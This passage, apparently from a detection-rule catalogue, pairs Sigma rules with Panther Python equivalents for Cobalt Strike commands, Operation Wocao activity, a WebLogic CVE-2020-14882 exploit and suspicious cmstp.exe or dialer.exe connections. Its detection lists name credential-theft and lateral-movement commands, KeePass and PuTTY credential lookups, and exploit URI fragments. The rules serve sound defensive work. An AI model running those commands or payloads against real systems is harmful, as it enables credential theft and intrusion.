            - 'type *keepass\KeePass.config.xml'
            - 'iie.exe iie.txt'
            - 'reg query HKEY_CURRENT_USER\Software\\*\PuTTY\Sessions\'
    condition: selection
falsepositives:
    - Administrators that use checkadmin.exe tool to enumerate local administrators
level: high
Convert to SIEM query
high
Operation Wocao Activity - Security
Detects activity mentioned in Operation Wocao report
status test author Florian Roth (Nextron Systems), frack113 id 74ad4314-482e-4c3e-b237-3f7ed3b9ca8d
panther query
def rule(event):
    if all(
        [
            event.deep_get("EventID", default="") == 4799,
            event.deep_get("TargetUserName", default="").startswith("Administr"),
            event.deep_get("CallerProcessName", default="").endswith("\\checkadmin.exe"),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Operation Wocao Activity - Security
id: 74ad4314-482e-4c3e-b237-3f7ed3b9ca8d
status: test
description: Detects activity mentioned in Operation Wocao report
references:
    - https://web.archive.org/web/20200226212615/https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/
    - https://web.archive.org/web/20200226212615/https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf
    - https://twitter.com/SBousseaden/status/1207671369963646976
author: Florian Roth (Nextron Systems), frack113
date: 2019-12-20
modified: 2022-11-27
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.discovery
    - attack.stealth
    - attack.t1012
    - attack.t1036.004
    - attack.t1027
    - attack.execution
    - attack.t1053.005
    - attack.t1059.001
    - detection.emerging-threats
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4799
        TargetUserName|startswith: 'Administr'
        CallerProcessName|endswith: '\checkadmin.exe'
    condition: selection
falsepositives:
    - Administrators that use checkadmin.exe tool to enumerate local administrators
level: high
Convert to SIEM query
high
Operator Bloopers Cobalt Strike Commands
Detects use of Cobalt Strike commands accidentally entered in the CMD shell
status test author _pete_0, TheDFIRReport id 647c7b9e-d784-4fda-b9a0-45c565a7b729
panther query
def rule(event):
    if all(
        [
            any(
                [
                    event.deep_get("OriginalFileName", default="") == "Cmd.Exe",
                    event.deep_get("Image", default="").endswith("\\cmd.exe"),
                ]
            ),
            any(
                [
                    event.deep_get("CommandLine", default="").startswith("cmd "),
                    event.deep_get("CommandLine", default="").startswith("cmd.exe"),
                    event.deep_get("CommandLine", default="").startswith(
                        "c:\\windows\\system32\\cmd.exe"
                    ),
                ]
            ),
            any(
                [
                    "psinject" in event.deep_get("CommandLine", default=""),
                    "spawnas" in event.deep_get("CommandLine", default=""),
                    "make_token" in event.deep_get("CommandLine", default=""),
                    "remote-exec" in event.deep_get("CommandLine", default=""),
                    "rev2self" in event.deep_get("CommandLine", default=""),
                    "dcsync" in event.deep_get("CommandLine", default=""),
                    "logonpasswords" in event.deep_get("CommandLine", default=""),
                    "execute-assembly" in event.deep_get("CommandLine", default=""),
                    "getsystem" in event.deep_get("CommandLine", default=""),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Operator Bloopers Cobalt Strike Commands
id: 647c7b9e-d784-4fda-b9a0-45c565a7b729
related:
    - id: 4f154fb6-27d1-4813-a759-78b93e0b9c48
      type: similar
status: test
description: Detects use of Cobalt Strike commands accidentally entered in the CMD shell
references:
    - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf
    - https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
    - https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
author: _pete_0, TheDFIRReport
date: 2022-05-06
modified: 2023-01-30
tags:
    - attack.execution
    - attack.t1059.003
    - stp.1u
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - OriginalFileName: 'Cmd.Exe'
        - Image|endswith: '\cmd.exe'
    selection_cli:
        CommandLine|startswith:
            - 'cmd '
            - 'cmd.exe'
            - 'c:\windows\system32\cmd.exe'
        CommandLine|contains:
            - 'psinject'
            - 'spawnas'
            - 'make_token'
            - 'remote-exec'
            - 'rev2self'
            - 'dcsync'
            - 'logonpasswords'
            - 'execute-assembly'
            - 'getsystem'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Operator Bloopers Cobalt Strike Modules
Detects Cobalt Strike module/commands accidentally entered in CMD shell
status test author _pete_0, TheDFIRReport id 4f154fb6-27d1-4813-a759-78b93e0b9c48
panther query
def rule(event):
    if all(
        [
            any(
                [
                    event.deep_get("OriginalFileName", default="") == "Cmd.Exe",
                    event.deep_get("Image", default="").endswith("\\cmd.exe"),
                ]
            ),
            any(
                [
                    "Invoke-UserHunter" in event.deep_get("CommandLine", default=""),
                    "Invoke-ShareFinder" in event.deep_get("CommandLine", default=""),
                    "Invoke-Kerberoast" in event.deep_get("CommandLine", default=""),
                    "Invoke-SMBAutoBrute" in event.deep_get("CommandLine", default=""),
                    "Invoke-Nightmare" in event.deep_get("CommandLine", default=""),
                    "zerologon" in event.deep_get("CommandLine", default=""),
                    "av_query" in event.deep_get("CommandLine", default=""),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Operator Bloopers Cobalt Strike Modules
id: 4f154fb6-27d1-4813-a759-78b93e0b9c48
related:
    - id: 647c7b9e-d784-4fda-b9a0-45c565a7b729
      type: similar
status: test
description: Detects Cobalt Strike module/commands accidentally entered in CMD shell
references:
    - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf
    - https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
    - https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
author: _pete_0, TheDFIRReport
date: 2022-05-06
modified: 2023-01-30
tags:
    - attack.execution
    - attack.t1059.003
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - OriginalFileName: 'Cmd.Exe'
        - Image|endswith: '\cmd.exe'
    selection_cli:
        CommandLine|contains:
            - 'Invoke-UserHunter'
            - 'Invoke-ShareFinder'
            - 'Invoke-Kerberoast'
            - 'Invoke-SMBAutoBrute'
            - 'Invoke-Nightmare'
            - 'zerologon'
            - 'av_query'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Oracle WebLogic Exploit CVE-2020-14882
Detects exploitation attempts on WebLogic servers
status test author Florian Roth (Nextron Systems) id 85d466b0-d74c-4514-84d3-2bdd3327588b
panther query
def rule(event):
    if any(
        [
            "/console/images/%252E%252E%252Fconsole.portal"
            in event.deep_get("cs-uri-query", default=""),
            "/console/css/%2e" in event.deep_get("cs-uri-query", default=""),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Oracle WebLogic Exploit CVE-2020-14882
id: 85d466b0-d74c-4514-84d3-2bdd3327588b
status: test
description: Detects exploitation attempts on WebLogic servers
references:
    - https://isc.sans.edu/diary/26734
    - https://twitter.com/jas502n/status/1321416053050667009?s=20
    - https://twitter.com/sudo_sudoka/status/1323951871078223874
author: Florian Roth (Nextron Systems)
date: 2020-11-02
modified: 2023-01-02
tags:
    - attack.t1190
    - attack.initial-access
    - cve.2020-14882
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection:
        cs-uri-query|contains:
            - '/console/images/%252E%252E%252Fconsole.portal'
            - '/console/css/%2e'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high
Outbound Network Connection Initiated By Cmstp.EXE
Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.
status test author Nasreddine Bencherchali (Nextron Systems) id efafe0bf-4238-479e-af8f-797bd3490d2d
panther query
import ipaddress


def rule(event):
    if all(
        [
            event.deep_get("Image", default="").endswith("\\cmstp.exe"),
            event.deep_get("Initiated", default="") == "true",
            not any(
                [
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("127.0.0.0/8"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("10.0.0.0/8"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("172.16.0.0/12"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("192.168.0.0/16"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("169.254.0.0/16"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("::1/128"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("fe80::/10"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("fc00::/7"),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Outbound Network Connection Initiated By Cmstp.EXE
id: efafe0bf-4238-479e-af8f-797bd3490d2d
status: test
description: |
    Detects a network connection initiated by Cmstp.EXE
    Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.
references:
    - https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-30
modified: 2024-05-31
tags:
    - attack.stealth
    - attack.t1218.003
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: '\cmstp.exe'
        Initiated: 'true'
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'  # IPv6 loopback
            - 'fe80::/10'  # IPv6 link-local addresses
            - 'fc00::/7'  # IPv6 private addresses
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
# Note: Please report any false positive seen in the wild to help tune the rule.
level: high
Convert to SIEM query
high
Outbound Network Connection Initiated By Microsoft Dialer
Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"
status test author CertainlyP id 37e4024a-6c80-4d8f-b95d-2e7e94f3a8d1
panther query
import ipaddress


def rule(event):
    if all(
        [
            event.deep_get("Image", default="").endswith(":\\Windows\\System32\\dialer.exe"),
            event.deep_get("Initiated", default="") == "true",
            not any(
                [
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("127.0.0.0/8"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("10.0.0.0/8"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("172.16.0.0/12"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("192.168.0.0/16"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("169.254.0.0/16"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("::1/128"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("fe80::/10"),
                    ipaddress.ip_address(event.deep_get("DestinationIp", default=""))
                    in ipaddress.ip_network("fc00::/7"),
                ]
            ),
        ]
    ):
        return True
    return False
view Sigma YAML
title: Outbound Network Connection Initiated By Microsoft Dialer
id: 37e4024a-6c80-4d8f-b95d-2e7e94f3a8d1
status: test
description: |
    Detects outbound network connection initiated by Microsoft Dialer.
    The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer.
    This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"
references:
    - https://tria.ge/240301-rk34sagf5x/behavioral2
    - https://app.any.run/tasks/6720b85b-9c53-4a12-b1dc-73052a78477d
    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/
    - https://strontic.github.io/xcyclopedia/library/dialer.exe-0B69655F912619756C704A0BF716B61F.html
author: CertainlyP
date: 2024-04-26
tags:
    - attack.execution
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: ':\Windows\System32\dialer.exe'
        Initiated: 'true'
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'  # IPv6 loopback
            - 'fe80::/10'  # IPv6 link-local addresses
            - 'fc00::/7'  # IPv6 private addresses
    condition: selection and not 1 of filter_main_*
falsepositives:
    - In Modern Windows systems, unable to see legitimate usage of this process, However, if an organization has legitimate purpose for this there can be false positives.
level: high
Convert to SIEM query
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